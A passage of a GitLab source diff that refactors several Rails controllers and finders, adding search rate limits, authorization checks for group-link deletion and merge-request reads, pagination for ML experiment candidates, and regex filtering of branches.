+ payload[:metadata]['meta.environment.search'] = params[:search]
+ end
end
Projects::EnvironmentsController.prepend_mod_with('Projects::EnvironmentsController')
diff --git a/app/controllers/projects/google_cloud/deployments_controller.rb b/app/controllers/projects/google_cloud/deployments_controller.rb
index 041486eb2fb..fae8dbd59c7 100644
--- a/app/controllers/projects/google_cloud/deployments_controller.rb
+++ b/app/controllers/projects/google_cloud/deployments_controller.rb
@@ -75,6 +75,13 @@ The `deploy-to-cloud-run` job:
* `GCP_PROJECT_ID`
* `GCP_SERVICE_ACCOUNT_KEY`
* Job definition can be found at: https://gitlab.com/gitlab-org/incubation-engineering/five-minute-production/library
+* Uses CI/CD variables to configure the deployment. You can override the default values by adding these variables:
+ * `GCP_CLOUD_RUN_MAX_INSTANCES`
+ * `GCP_CLOUD_RUN_MIN_INSTANCES`
+ * `GCP_CLOUD_RUN_CONCURRENCY`
+ * `GCP_CLOUD_RUN_CPU`
+ * `GCP_CLOUD_RUN_MEMORY`
+ * `GCP_CLOUD_RUN_TIMEOUT`
This pipeline definition has been committed to the branch `#{branch_name}`.
You may modify the pipeline definition further or accept the changes as-is if suitable.
diff --git a/app/controllers/projects/group_links_controller.rb b/app/controllers/projects/group_links_controller.rb
index 08eebfa0e4b..451f1d1363b 100644
--- a/app/controllers/projects/group_links_controller.rb
+++ b/app/controllers/projects/group_links_controller.rb
@@ -2,13 +2,13 @@
class Projects::GroupLinksController < Projects::ApplicationController
layout 'project_settings'
- before_action :authorize_admin_project!
+ before_action :authorize_admin_project!, except: [:destroy]
+ before_action :authorize_admin_project_group_link!, only: [:destroy]
before_action :authorize_admin_project_member!, only: [:update]
feature_category :subgroups
def update
- group_link = @project.project_group_links.find(params[:id])
Projects::GroupLinks::UpdateService.new(group_link, current_user).execute(group_link_params)
if group_link.expires?
@@ -22,13 +22,15 @@ class Projects::GroupLinksController < Projects::ApplicationController
end
def destroy
- group_link = project.project_group_links.find(params[:id])
-
::Projects::GroupLinks::DestroyService.new(project, current_user).execute(group_link)
respond_to do |format|
format.html do
- redirect_to project_project_members_path(project), status: :found
+ if can?(current_user, :admin_group, group_link.group)
+ redirect_to group_path(group_link.group), status: :found
+ elsif can?(current_user, :admin_project, group_link.project)
+ redirect_to project_project_members_path(project), status: :found
+ end
end
format.js { head :ok }
end
@@ -36,6 +38,15 @@ class Projects::GroupLinksController < Projects::ApplicationController
protected
+ def authorize_admin_project_group_link!
+ render_404 unless can?(current_user, :admin_project_group_link, group_link)
+ end
+
+ def group_link
+ @project.project_group_links.find(params[:id])
+ end
+ strong_memoize_attr :group_link
+
def group_link_params
params.require(:group_link).permit(:group_access, :expires_at)
end
diff --git a/app/controllers/projects/incidents_controller.rb b/app/controllers/projects/incidents_controller.rb
index 3842a88d15b..8e4fbf24ca2 100644
--- a/app/controllers/projects/incidents_controller.rb
+++ b/app/controllers/projects/incidents_controller.rb
@@ -10,6 +10,7 @@ class Projects::IncidentsController < Projects::ApplicationController
push_force_frontend_feature_flag(:work_items, @project&.work_items_feature_flag_enabled?)
push_force_frontend_feature_flag(:work_items_mvc, @project&.work_items_mvc_feature_flag_enabled?)
push_force_frontend_feature_flag(:work_items_mvc_2, @project&.work_items_mvc_2_feature_flag_enabled?)
+ push_frontend_feature_flag(:incident_event_tags, project)
end
feature_category :incident_management
diff --git a/app/controllers/projects/issues_controller.rb b/app/controllers/projects/issues_controller.rb
index 631e697dd2f..06c16297ce8 100644
--- a/app/controllers/projects/issues_controller.rb
+++ b/app/controllers/projects/issues_controller.rb
@@ -27,6 +27,10 @@ class Projects::IssuesController < Projects::ApplicationController
before_action :set_issuables_index, if: ->(c) {
SET_ISSUABLES_INDEX_ONLY_ACTIONS.include?(c.action_name.to_sym) && !index_html_request?
}
+ before_action :check_search_rate_limit!, if: ->(c) {
+ SET_ISSUABLES_INDEX_ONLY_ACTIONS.include?(c.action_name.to_sym) && !index_html_request? &&
+ params[:search].present? && Feature.enabled?(:rate_limit_issuable_searches)
+ }
# Allow write(create) issue
before_action :authorize_create_issue!, only: [:new, :create]
@@ -59,7 +63,7 @@ class Projects::IssuesController < Projects::ApplicationController
push_force_frontend_feature_flag(:work_items_mvc, project&.work_items_mvc_feature_flag_enabled?)
push_force_frontend_feature_flag(:work_items_mvc_2, project&.work_items_mvc_2_feature_flag_enabled?)
push_frontend_feature_flag(:epic_widget_edit_confirmation, project)
- push_frontend_feature_flag(:use_iid_in_work_items_path, project)
+ push_frontend_feature_flag(:use_iid_in_work_items_path, project&.group)
push_force_frontend_feature_flag(:work_items_create_from_markdown, project&.work_items_create_from_markdown_feature_flag_enabled?)
end
@@ -436,7 +440,7 @@ class Projects::IssuesController < Projects::ApplicationController
def create_vulnerability_issue_feedback(issue); end
def redirect_if_work_item
- return unless allowed_work_item?
+ return unless use_work_items_path?(issue)
if Feature.enabled?(:use_iid_in_work_items_path, project.group)
redirect_to project_work_items_path(project, issue.iid, params: request.query_parameters.merge(iid_path: true))
@@ -444,10 +448,6 @@ class Projects::IssuesController < Projects::ApplicationController
redirect_to project_work_items_path(project, issue.id, params: request.query_parameters)
end
end
-
- def allowed_work_item?
- issue.task?
- end
end
Projects::IssuesController.prepend_mod_with('Projects::IssuesController')
diff --git a/app/controllers/projects/merge_requests/application_controller.rb b/app/controllers/projects/merge_requests/application_controller.rb
index d8da448a323..be44c78ac9d 100644
--- a/app/controllers/projects/merge_requests/application_controller.rb
+++ b/app/controllers/projects/merge_requests/application_controller.rb
@@ -5,7 +5,7 @@ class Projects::MergeRequests::ApplicationController < Projects::ApplicationCont
before_action :merge_request
before_action :authorize_read_merge_request!
- feature_category :code_review
+ feature_category :code_review_workflow
private
@@ -13,6 +13,10 @@ class Projects::MergeRequests::ApplicationController < Projects::ApplicationCont
@issuable =
@merge_request ||=
merge_request_includes(@project.merge_requests).find_by_iid!(params[:id])
+
+ return render_404 unless can?(current_user, :read_merge_request, @issuable)
+
+ @issuable
end
def merge_request_includes(association)
diff --git a/app/controllers/projects/merge_requests/diffs_controller.rb b/app/controllers/projects/merge_requests/diffs_controller.rb
index 83377f67723..1c546d70df9 100644
--- a/app/controllers/projects/merge_requests/diffs_controller.rb
+++ b/app/controllers/projects/merge_requests/diffs_controller.rb
@@ -36,15 +36,17 @@ class Projects::MergeRequests::DiffsController < Projects::MergeRequests::Applic
diff_options_hash[:paths] = params[:paths] if params[:paths]
diffs = @compare.diffs_in_batch(params[:page], params[:per_page], diff_options: diff_options_hash)
- unfoldable_positions = @merge_request.note_positions_for_paths(diffs.diff_file_paths, current_user).unfoldable
+
+ unfoldable_positions = Gitlab::Metrics.measure(:diffs_unfoldable_positions) do
+ @merge_request.note_positions_for_paths(diffs.diff_file_paths, current_user).unfoldable
+ end
options = {
merge_request: @merge_request,
commit: commit,
diff_view: diff_view,
merge_ref_head_diff: render_merge_ref_head_diff?,
- pagination_data: diffs.pagination_data,
- merge_conflicts_in_diff: display_merge_conflicts_in_diff?
+ pagination_data: diffs.pagination_data
}
# NOTE: Any variables that would affect the resulting json needs to be added to the cache_context to avoid stale cache issues.
@@ -56,16 +58,22 @@ class Projects::MergeRequests::DiffsController < Projects::MergeRequests::Applic
params[:expanded],
params[:page],
params[:per_page],
- options[:merge_ref_head_diff],
- options[:merge_conflicts_in_diff]
+ options[:merge_ref_head_diff]
]
return unless stale?(etag: [cache_context + diff_options_hash.fetch(:paths, []), diffs])
- diffs.unfold_diff_files(unfoldable_positions)
- diffs.write_cache
+ Gitlab::Metrics.measure(:diffs_unfold) do
+ diffs.unfold_diff_files(unfoldable_positions)
+ end
+
+ Gitlab::Metrics.measure(:diffs_write_cache) do
+ diffs.write_cache
+ end
- render json: PaginatedDiffSerializer.new(current_user: current_user).represent(diffs, options)
+ Gitlab::Metrics.measure(:diffs_render) do
+ render json: PaginatedDiffSerializer.new(current_user: current_user).represent(diffs, options)
+ end
end
# rubocop: enable Metrics/AbcSize
@@ -74,8 +82,7 @@ class Projects::MergeRequests::DiffsController < Projects::MergeRequests::Applic
options = additional_attributes.merge(
only_context_commits: show_only_context_commits?,
- merge_ref_head_diff: render_merge_ref_head_diff?,
- merge_conflicts_in_diff: display_merge_conflicts_in_diff?
+ merge_ref_head_diff: render_merge_ref_head_diff?
)
render json: DiffsMetadataSerializer.new(project: @merge_request.project, current_user: current_user)
@@ -103,8 +110,7 @@ class Projects::MergeRequests::DiffsController < Projects::MergeRequests::Applic
options = additional_attributes.merge(
diff_view: "inline",
- merge_ref_head_diff: render_merge_ref_head_diff?,
- merge_conflicts_in_diff: display_merge_conflicts_in_diff?
+ merge_ref_head_diff: render_merge_ref_head_diff?
)
options[:context_commits] = @merge_request.recent_context_commits
@@ -232,8 +238,4 @@ class Projects::MergeRequests::DiffsController < Projects::MergeRequests::Applic
Gitlab::UsageDataCounters::MergeRequestActivityUniqueCounter
.track_mr_diffs_single_file_action(merge_request: @merge_request, user: current_user)
end
-
- def display_merge_conflicts_in_diff?
- Feature.enabled?(:display_merge_conflicts_in_diff, @merge_request.project)
- end
end
diff --git a/app/controllers/projects/merge_requests_controller.rb b/app/controllers/projects/merge_requests_controller.rb
index 3ab1f7d1d32..b0920b3fbdb 100644
--- a/app/controllers/projects/merge_requests_controller.rb
+++ b/app/controllers/projects/merge_requests_controller.rb
@@ -28,6 +28,9 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
:codequality_mr_diff_reports
]
before_action :set_issuables_index, only: [:index]
+ before_action :check_search_rate_limit!, only: [:index], if: -> {
+ params[:search].present? && Feature.enabled?(:rate_limit_issuable_searches)
+ }
before_action :authenticate_user!, only: [:assign_related_issues]
before_action :check_user_can_push_to_source_branch!, only: [:rebase]
@@ -37,7 +40,6 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
push_frontend_feature_flag(:refactor_security_extension, @project)
push_frontend_feature_flag(:refactor_code_quality_inline_findings, project)
push_frontend_feature_flag(:moved_mr_sidebar, project)
- push_frontend_feature_flag(:paginated_mr_discussions, project)
push_frontend_feature_flag(:mr_review_submit_comment, project)
push_frontend_feature_flag(:mr_experience_survey, project)
push_frontend_feature_flag(:realtime_reviewers, project)
@@ -52,7 +54,7 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
after_action :log_merge_request_show, only: [:show, :diffs]
- feature_category :code_review, [
+ feature_category :code_review_workflow, [
:assign_related_issues, :bulk_update, :cancel_auto_merge,
:commit_change_content, :commits, :context_commits, :destroy,
:discussions, :edit, :index, :merge, :rebase, :remove_wip,
@@ -387,13 +389,13 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
end
format.patch do
- break render_404 unless @merge_request.diff_refs
+ next render_404 unless @merge_request.diff_refs
send_git_patch @project.repository, @merge_request.diff_refs
end
format.diff do
- break render_404 unless @merge_request.diff_refs
+ next render_404 unless @merge_request.diff_refs
send_git_diff @project.repository, @merge_request.diff_refs
end
@@ -512,15 +514,13 @@ class Projects::MergeRequestsController < Projects::MergeRequests::ApplicationCo
end
def check_user_can_push_to_source_branch!
- return access_denied! unless @merge_request.source_branch_exists?
+ result = MergeRequests::RebaseService
+ .new(project: @merge_request.source_project, current_user: current_user)
+ .validate(@merge_request)
- access_check = ::Gitlab::UserAccess
- .new(current_user, container: @merge_request.source_project)
- .can_push_to_branch?(@merge_request.source_branch)
+ return if result.success?
- access_denied! unless access_check
-
- access_denied! unless merge_request.permits_force_push?
+ render json: { merge_error: result.message }, status: :forbidden
end
def merge_access_check
diff --git a/app/controllers/projects/ml/experiments_controller.rb b/app/controllers/projects/ml/experiments_controller.rb
index c82a959d612..1e1c4b1587c 100644
--- a/app/controllers/projects/ml/experiments_controller.rb
+++ b/app/controllers/projects/ml/experiments_controller.rb
@@ -7,10 +7,11 @@ module Projects
feature_category :mlops
- MAX_PER_PAGE = 20
+ MAX_EXPERIMENTS_PER_PAGE = 20
+ MAX_CANDIDATES_PER_PAGE = 30
def index
- @experiments = ::Ml::Experiment.by_project_id(@project.id).page(params[:page]).per(MAX_PER_PAGE)
+ @experiments = ::Ml::Experiment.by_project_id(@project.id).page(params[:page]).per(MAX_EXPERIMENTS_PER_PAGE)
end
def show
@@ -18,7 +19,26 @@ module Projects
return redirect_to project_ml_experiments_path(@project) unless @experiment.present?
- @candidates = @experiment.candidates&.including_metrics_and_params
+ page = params[:page].to_i
+ page = 1 if page == 0
+
+ @candidates = @experiment.candidates
+ .including_relationships
+ .page(page)
+ .per(MAX_CANDIDATES_PER_PAGE)
+
+ return unless @candidates
+
+ return redirect_to(url_for(page: @candidates.total_pages)) if @candidates.out_of_range?
+
+ @pagination = {
+ page: page,
+ is_last_page: @candidates.last_page?,
+ per_page: MAX_CANDIDATES_PER_PAGE,
+ total_items: @candidates.total_count
+ }
+
+ @candidates.each(&:artifact_lazy)
end
private
diff --git a/app/controllers/projects/pages_controller.rb b/app/controllers/projects/pages_controller.rb
index 0e990b64cd6..db0762a6cff 100644
--- a/app/controllers/projects/pages_controller.rb
+++ b/app/controllers/projects/pages_controller.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
class Projects::PagesController < Projects::ApplicationController
- layout 'project_settings'
+ layout :resolve_layout
before_action :require_pages_enabled!
before_action :authorize_read_pages!, only: [:show]
@@ -10,6 +10,10 @@ class Projects::PagesController < Projects::ApplicationController
feature_category :pages
+ before_action do
+ push_frontend_feature_flag(:show_pages_in_deployments_menu, current_user, type: :experiment)
+ end
+
def new
@pipeline_wizard_data = {
project_path: @project.full_path,
@@ -64,6 +68,10 @@ class Projects::PagesController < Projects::ApplicationController
private
+ def resolve_layout
+ 'project_settings' unless Feature.enabled?(:show_pages_in_deployments_menu, current_user, type: :experiment)
+ end
+
def project_params
params.require(:project).permit(project_params_attributes)
end
diff --git a/app/controllers/projects/protected_refs_controller.rb b/app/controllers/projects/protected_refs_controller.rb
index 69a540158c6..442110d1044 100644
--- a/app/controllers/projects/protected_refs_controller.rb
+++ b/app/controllers/projects/protected_refs_controller.rb
@@ -22,7 +22,10 @@ class Projects::ProtectedRefsController < Projects::ApplicationController
flash[:alert] = protected_ref.errors.full_messages.join(', ').html_safe
end
- redirect_to_repository_settings(@project, anchor: params[:update_section])
+ respond_to do |format|
+ format.html { redirect_to_repository_settings(@project, anchor: params[:update_section]) }
+ format.json { head :ok }
+ end
end
def show
diff --git a/app/controllers/projects/settings/ci_cd_controller.rb b/app/controllers/projects/settings/ci_cd_controller.rb
index cf07de4dc29..f8133c5836d 100644
--- a/app/controllers/projects/settings/ci_cd_controller.rb
+++ b/app/controllers/projects/settings/ci_cd_controller.rb
@@ -4,6 +4,7 @@ module Projects
module Settings
class CiCdController < Projects::ApplicationController
include RunnerSetupScripts
+ include ZuoraCSP
NUMBER_OF_RUNNERS_PER_PAGE = 20
@@ -21,13 +22,11 @@ module Projects
@entity = :project
@variable_limit = ::Plan.default.actual_limits.project_ci_variables
- if Feature.enabled?(:ci_pipeline_triggers_settings_vue_ui, @project)
- triggers = ::Ci::TriggerSerializer.new.represent(
- @project.triggers, current_user: current_user, project: @project
- )
+ triggers = ::Ci::TriggerSerializer.new.represent(
+ @project.triggers, current_user: current_user, project: @project
+ )
- @triggers_json = Gitlab::Json.dump(triggers)
- end
+ @triggers_json = Gitlab::Json.dump(triggers)
render
end
diff --git a/app/controllers/projects/settings/merge_requests_controller.rb b/app/controllers/projects/settings/merge_requests_controller.rb
index 93e10695767..f09e324f574 100644
--- a/app/controllers/projects/settings/merge_requests_controller.rb
+++ b/app/controllers/projects/settings/merge_requests_controller.rb
@@ -9,7 +9,7 @@ module Projects
before_action :present_project, only: [:edit]
before_action :authorize_admin_project!
- feature_category :code_review
+ feature_category :code_review_workflow
def update
result = ::Projects::UpdateService.new(@project, current_user, project_params).execute
diff --git a/app/controllers/projects/work_items_controller.rb b/app/controllers/projects/work_items_controller.rb
index a118c6986f7..db9dca14aab 100644
--- a/app/controllers/projects/work_items_controller.rb
+++ b/app/controllers/projects/work_items_controller.rb
@@ -5,7 +5,7 @@ class Projects::WorkItemsController < Projects::ApplicationController
push_force_frontend_feature_flag(:work_items, project&.work_items_feature_flag_enabled?)
push_force_frontend_feature_flag(:work_items_mvc, project&.work_items_mvc_feature_flag_enabled?)
push_force_frontend_feature_flag(:work_items_mvc_2, project&.work_items_mvc_2_feature_flag_enabled?)
- push_frontend_feature_flag(:use_iid_in_work_items_path, project)
+ push_frontend_feature_flag(:use_iid_in_work_items_path, project&.group)
end
feature_category :team_planning
diff --git a/app/controllers/projects_controller.rb b/app/controllers/projects_controller.rb
index 886819fe778..ee2c268ff33 100644
--- a/app/controllers/projects_controller.rb
+++ b/app/controllers/projects_controller.rb
@@ -58,7 +58,7 @@ class ProjectsController < Projects::ApplicationController
feature_category :source_code_management, [:remove_fork, :housekeeping, :refs]
feature_category :team_planning, [:preview_markdown, :new_issuable_address]
feature_category :importers, [:export, :remove_export, :generate_new_export, :download_export]
- feature_category :code_review, [:unfoldered_environment_names]
+ feature_category :code_review_workflow, [:unfoldered_environment_names]
feature_category :portfolio_management, [:planning_hierarchy]
urgency :low, [:export, :remove_export, :generate_new_export, :download_export]
@@ -388,7 +388,7 @@ class ProjectsController < Projects::ApplicationController
def determine_layout
if [:new, :create].include?(action_name.to_sym)
- 'application'
+ 'dashboard'
elsif [:edit, :update].include?(action_name.to_sym)
'project_settings'
else
diff --git a/app/controllers/pwa_controller.rb b/app/controllers/pwa_controller.rb
index 8de1b10e1f1..bb47bdc8050 100644
--- a/app/controllers/pwa_controller.rb
+++ b/app/controllers/pwa_controller.rb
@@ -6,7 +6,7 @@ class PwaController < ApplicationController # rubocop:disable Gitlab/NamespacedC
feature_category :navigation
urgency :low
- skip_before_action :authenticate_user!
+ skip_before_action :authenticate_user!, :required_signup_info
def manifest
end
diff --git a/app/controllers/registrations/welcome_controller.rb b/app/controllers/registrations/welcome_controller.rb
index 4a42632a980..cfb4e939b35 100644
--- a/app/controllers/registrations/welcome_controller.rb
+++ b/app/controllers/registrations/welcome_controller.rb
@@ -21,20 +21,10 @@ module Registrations
def update
result = ::Users::SignupService.new(current_user, update_params).execute
- if result[:status] == :success
+ if result.success?
track_event('successfully_submitted_form')
- return redirect_to issues_dashboard_path(assignee_username: current_user.username) if show_tasks_to_be_done?
-
- return redirect_to update_success_path if show_signup_onboarding?
-
- members = current_user.members
-
- if registering_from_invite?(members)
- redirect_to members_activity_path(members), notice: helpers.invite_accepted_notice(members.last)
- else
- redirect_to path_for_signed_in_user(current_user)
- end
+ redirect_to update_success_path
else
render :show
end
@@ -79,21 +69,35 @@ module Registrations
end
# overridden in EE
- def show_signup_onboarding?
+ def redirect_to_signup_onboarding?
false
end
- def show_tasks_to_be_done?
+ def redirect_for_tasks_to_be_done?
MemberTask.for_members(current_user.members).exists?
end
- # overridden in EE
def update_success_path
+ return issues_dashboard_path(assignee_username: current_user.username) if redirect_for_tasks_to_be_done?
+
+ return signup_onboarding_path if redirect_to_signup_onboarding?
+
+ members = current_user.members
+
+ if registering_from_invite?(members)
+ flash[:notice] = helpers.invite_accepted_notice(members.last)
+ members_activity_path(members)
+ else
+ # subscription registrations goes through here as well
+ path_for_signed_in_user(current_user)
+ end
end
# overridden in EE
- def track_event(category)
- end
+ def signup_onboarding_path; end
+
+ # overridden in EE
+ def track_event(action); end
end
end
diff --git a/app/controllers/registrations_controller.rb b/app/controllers/registrations_controller.rb
index 11f9f1cf0c6..0800d635d92 100644
--- a/app/controllers/registrations_controller.rb
+++ b/app/controllers/registrations_controller.rb
@@ -1,7 +1,7 @@
# frozen_string_literal: true
class RegistrationsController < Devise::RegistrationsController
- include Recaptcha::Verify
+ include Recaptcha::Adapters::ControllerMethods
include AcceptsPendingInvitations
include RecaptchaHelper
include InvisibleCaptchaOnSignup
@@ -121,7 +121,7 @@ class RegistrationsController < Devise::RegistrationsController
def after_sign_up_path_for(user)
Gitlab::AppLogger.info(user_created_message(confirmed: user.confirmed?))
- users_sign_up_welcome_path(glm_tracking_params)
+ after_sign_up_path
end
def after_inactive_sign_up_path_for(resource)
@@ -131,7 +131,7 @@ class RegistrationsController < Devise::RegistrationsController
# when email confirmation is enabled, path to redirect is saved
# after user confirms and comes back, he will be redirected
- store_location_for(:redirect, users_sign_up_welcome_path(glm_tracking_params))
+ store_location_for(:redirect, after_sign_up_path)
return identity_verification_redirect_path if custom_confirmation_enabled?
@@ -141,6 +141,10 @@ class RegistrationsController < Devise::RegistrationsController
private
+ def after_sign_up_path
+ users_sign_up_welcome_path(glm_tracking_params)
+ end
+
def ensure_destroy_prerequisites_met
if current_user.solo_owned_groups.present?
redirect_to profile_account_path,
diff --git a/app/controllers/search_controller.rb b/app/controllers/search_controller.rb
index 66968b34380..38c773fa31d 100644
--- a/app/controllers/search_controller.rb
+++ b/app/controllers/search_controller.rb
@@ -36,7 +36,6 @@ class SearchController < ApplicationController
before_action only: :show do
update_scope_for_code_search
end
- before_action :elasticsearch_in_use, only: :show
rescue_from ActiveRecord::QueryCanceled, with: :render_timeout
layout 'search'
@@ -47,7 +46,7 @@ class SearchController < ApplicationController
def show
@project = search_service.project
@group = search_service.group
- @search_service = Gitlab::View::Presenter::Factory.new(search_service, current_user: current_user).fabricate!
+ @search_service_presenter = Gitlab::View::Presenter::Factory.new(search_service, current_user: current_user).fabricate!
return unless search_term_valid?
@@ -56,14 +55,14 @@ class SearchController < ApplicationController
@search_term = params[:search]
@sort = params[:sort] || default_sort
- @search_level = @search_service.level
+ @search_level = @search_service_presenter.level
@search_type = search_type
@global_search_duration_s = Benchmark.realtime do
- @scope = @search_service.scope
- @search_results = @search_service.search_results
- @search_objects = @search_service.search_objects
- @search_highlight = @search_service.search_highlight
+ @scope = @search_service_presenter.scope
+ @search_results = @search_service_presenter.search_results
+ @search_objects = @search_service_presenter.search_objects
+ @search_highlight = @search_service_presenter.search_highlight
end
Gitlab::Metrics::GlobalSearchSlis.record_apdex(
@@ -119,11 +118,6 @@ class SearchController < ApplicationController
def opensearch
end
- def elasticsearch_in_use
- search_service.respond_to?(:use_elasticsearch?) && search_service.use_elasticsearch?
- end
- strong_memoize_attr :elasticsearch_in_use
-
private
def update_scope_for_code_search
@@ -218,24 +212,7 @@ class SearchController < ApplicationController
def check_scope_global_search_enabled
return unless search_service.global_search?
- search_allowed = case params[:scope]
- when 'blobs'
- Feature.enabled?(:global_search_code_tab, current_user, type: :ops)
- when 'commits'
- Feature.enabled?(:global_search_commits_tab, current_user, type: :ops)
- when 'issues'
- Feature.enabled?(:global_search_issues_tab, current_user, type: :ops)
- when 'merge_requests'
- Feature.enabled?(:global_search_merge_requests_tab, current_user, type: :ops)
- when 'wiki_blobs'
- Feature.enabled?(:global_search_wiki_tab, current_user, type: :ops)
- when 'users'
- Feature.enabled?(:global_search_users_tab, current_user, type: :ops)
- else
- true
- end
-
- return if search_allowed
+ return if search_service.global_search_enabled_for_scope?
redirect_to search_path, alert: _('Global Search is disabled for this scope')
end
diff --git a/app/controllers/sessions_controller.rb b/app/controllers/sessions_controller.rb
index c20a9aa4485..699dcf1adac 100644
--- a/app/controllers/sessions_controller.rb
+++ b/app/controllers/sessions_controller.rb
@@ -4,8 +4,8 @@ class SessionsController < Devise::SessionsController
include InternalRedirect
include AuthenticatesWithTwoFactor
include Devise::Controllers::Rememberable
- include Recaptcha::ClientHelper
- include Recaptcha::Verify
+ include Recaptcha::Adapters::ViewMethods
+ include Recaptcha::Adapters::ControllerMethods
include RendersLdapServers
include KnownSignIn
include Gitlab::Utils::StrongMemoize
diff --git a/app/controllers/snippets/notes_controller.rb b/app/controllers/snippets/notes_controller.rb
index 9e23eef4178..81f80aa4224 100644
--- a/app/controllers/snippets/notes_controller.rb
+++ b/app/controllers/snippets/notes_controller.rb
@@ -13,7 +13,7 @@ class Snippets::NotesController < ApplicationController
private
def note
- @note ||= snippet.notes.inc_relations_for_view.find(params[:id])
+ @note ||= snippet.notes.inc_relations_for_view(snippet).find(params[:id])
end
alias_method :awardable, :note
diff --git a/app/controllers/uploads_controller.rb b/app/controllers/uploads_controller.rb
index 66f715f32af..ea99aa12350 100644
--- a/app/controllers/uploads_controller.rb
+++ b/app/controllers/uploads_controller.rb
@@ -15,6 +15,7 @@ class UploadsController < ApplicationController
"personal_snippet" => PersonalSnippet,
"projects/topic" => Projects::Topic,
'alert_management_metric_image' => ::AlertManagement::MetricImage,
+ "achievements/achievement" => Achievements::Achievement,
nil => PersonalSnippet
}.freeze
@@ -61,6 +62,8 @@ class UploadsController < ApplicationController
true
when ::AlertManagement::MetricImage
can?(current_user, :read_alert_management_metric_image, model.alert)
+ when ::Achievements::Achievement
+ true
else
can?(current_user, "read_#{model.class.underscore}".to_sym, model)
end
@@ -92,7 +95,7 @@ class UploadsController < ApplicationController
def cache_settings
case model
- when User, Appearance, Projects::Topic
+ when User, Appearance, Projects::Topic, Achievements::Achievement
[5.minutes, { public: true, must_revalidate: false }]
when Project, Group
[5.minutes, { private: true, must_revalidate: true }]
diff --git a/app/events/pages_domains/pages_domain_created_event.rb b/app/events/pages_domains/pages_domain_created_event.rb
index a86718f4681..430a3e0100c 100644
--- a/app/events/pages_domains/pages_domain_created_event.rb
+++ b/app/events/pages_domains/pages_domain_created_event.rb
@@ -9,6 +9,7 @@ module PagesDomains
'project_id' => { 'type' => 'integer' },
'namespace_id' => { 'type' => 'integer' },
'root_namespace_id' => { 'type' => 'integer' },
+ 'domain_id' => { 'type' => 'integer' },
'domain' => { 'type' => 'string' }
},
'required' => %w[project_id namespace_id root_namespace_id]
diff --git a/app/events/pages_domains/pages_domain_deleted_event.rb b/app/events/pages_domains/pages_domain_deleted_event.rb
index 7fe165a7249..3f32f5abe2a 100644
--- a/app/events/pages_domains/pages_domain_deleted_event.rb
+++ b/app/events/pages_domains/pages_domain_deleted_event.rb
@@ -9,6 +9,7 @@ module PagesDomains
'project_id' => { 'type' => 'integer' },
'namespace_id' => { 'type' => 'integer' },
'root_namespace_id' => { 'type' => 'integer' },
+ 'domain_id' => { 'type' => 'integer' },
'domain' => { 'type' => 'string' }
},
'required' => %w[project_id namespace_id root_namespace_id]
diff --git a/app/events/pages_domains/pages_domain_updated_event.rb b/app/events/pages_domains/pages_domain_updated_event.rb
index 641fb2f6a53..f7211420355 100644
--- a/app/events/pages_domains/pages_domain_updated_event.rb
+++ b/app/events/pages_domains/pages_domain_updated_event.rb
@@ -9,6 +9,7 @@ module PagesDomains
'project_id' => { 'type' => 'integer' },
'namespace_id' => { 'type' => 'integer' },
'root_namespace_id' => { 'type' => 'integer' },
+ 'domain_id' => { 'type' => 'integer' },
'domain' => { 'type' => 'string' }
},
'required' => %w[project_id namespace_id root_namespace_id]
diff --git a/app/finders/access_requests_finder.rb b/app/finders/access_requests_finder.rb
index 9b1407e2971..65e1934a39f 100644
--- a/app/finders/access_requests_finder.rb
+++ b/app/finders/access_requests_finder.rb
@@ -18,7 +18,11 @@ class AccessRequestsFinder
def execute!(current_user)
raise Gitlab::Access::AccessDeniedError unless can_see_access_requests?(current_user)
- source.requesters
+ if Feature.enabled?(:project_members_index_by_project_namespace, source)
+ source.namespace_requesters
+ else
+ source.requesters
+ end
end
private
diff --git a/app/finders/branches_finder.rb b/app/finders/branches_finder.rb
index a62d47071d4..dc7b9f6a0ce 100644
--- a/app/finders/branches_finder.rb
+++ b/app/finders/branches_finder.rb
@@ -6,11 +6,12 @@ class BranchesFinder < GitRefsFinder
end
def execute(gitaly_pagination: false)
- if gitaly_pagination && names.blank? && search.blank?
+ if gitaly_pagination && names.blank? && search.blank? && regex.blank?
repository.branches_sorted_by(sort, pagination_params)
else
branches = repository.branches_sorted_by(sort)
branches = by_search(branches)
+ branches = by_regex(branches)
by_names(branches)
end
end
@@ -29,6 +30,11 @@ class BranchesFinder < GitRefsFinder
@params[:per_page].presence
end
+ def regex
+ @params[:regex].to_s.presence
+ end
+ strong_memoize_attr :regex
+
def page_token
"#{Gitlab::Git::BRANCH_REF_PREFIX}#{@params[:page_token]}" if @params[:page_token]
end
@@ -45,4 +51,14 @@ class BranchesFinder < GitRefsFinder
branch_names.include?(branch.name)
end
end
+
+ def by_regex(branches)
+ return branches unless regex
+
+ branch_filter = ::Gitlab::UntrustedRegexp.new(regex)
+
+ branches.select do |branch|
+ branch_filter.match?(branch.name)
+ end
+ end
end
diff --git a/app/finders/ci/pipelines_finder.rb b/app/finders/ci/pipelines_finder.rb
index 4c47517299a..a2d1805286d 100644
--- a/app/finders/ci/pipelines_finder.rb
+++ b/app/finders/ci/pipelines_finder.rb
@@ -155,8 +155,7 @@ module Ci
def by_name(items)
return items unless
- Feature.enabled?(:pipeline_name, project) &&
- Feature.enabled?(:pipeline_name_search, project) &&
+ Feature.enabled?(:pipeline_name_search, project) &&
params[:name].present?
items.for_name(params[:name])
diff --git a/app/finders/ci/runners_finder.rb b/app/finders/ci/runners_finder.rb
index 136d23939e2..bc1dcb3ad5f 100644
--- a/app/finders/ci/runners_finder.rb
+++ b/app/finders/ci/runners_finder.rb
@@ -37,7 +37,7 @@ module Ci
private
def search!
- if @project && Feature.enabled?(:on_demand_scans_runner_tags, @project)
+ if @project
project_runners
elsif @group
group_runners
diff --git a/app/finders/git_refs_finder.rb b/app/finders/git_refs_finder.rb
index 0492dd9934f..3c8d53051d6 100644
--- a/app/finders/git_refs_finder.rb
+++ b/app/finders/git_refs_finder.rb
@@ -49,7 +49,7 @@ class GitRefsFinder
def regex_search?
Regexp.union('^', '$', '*') === search
end
- strong_memoize_attr :regex_search?, :regex_search
+ strong_memoize_attr :regex_search?
def unescape_regex_operators(regex_string)
regex_string.sub('\^', '^').gsub('\*', '.*?').sub('\$', '$')
diff --git a/app/finders/issuable_finder.rb b/app/finders/issuable_finder.rb
index 5fcb81949ee..13b7137da48 100644
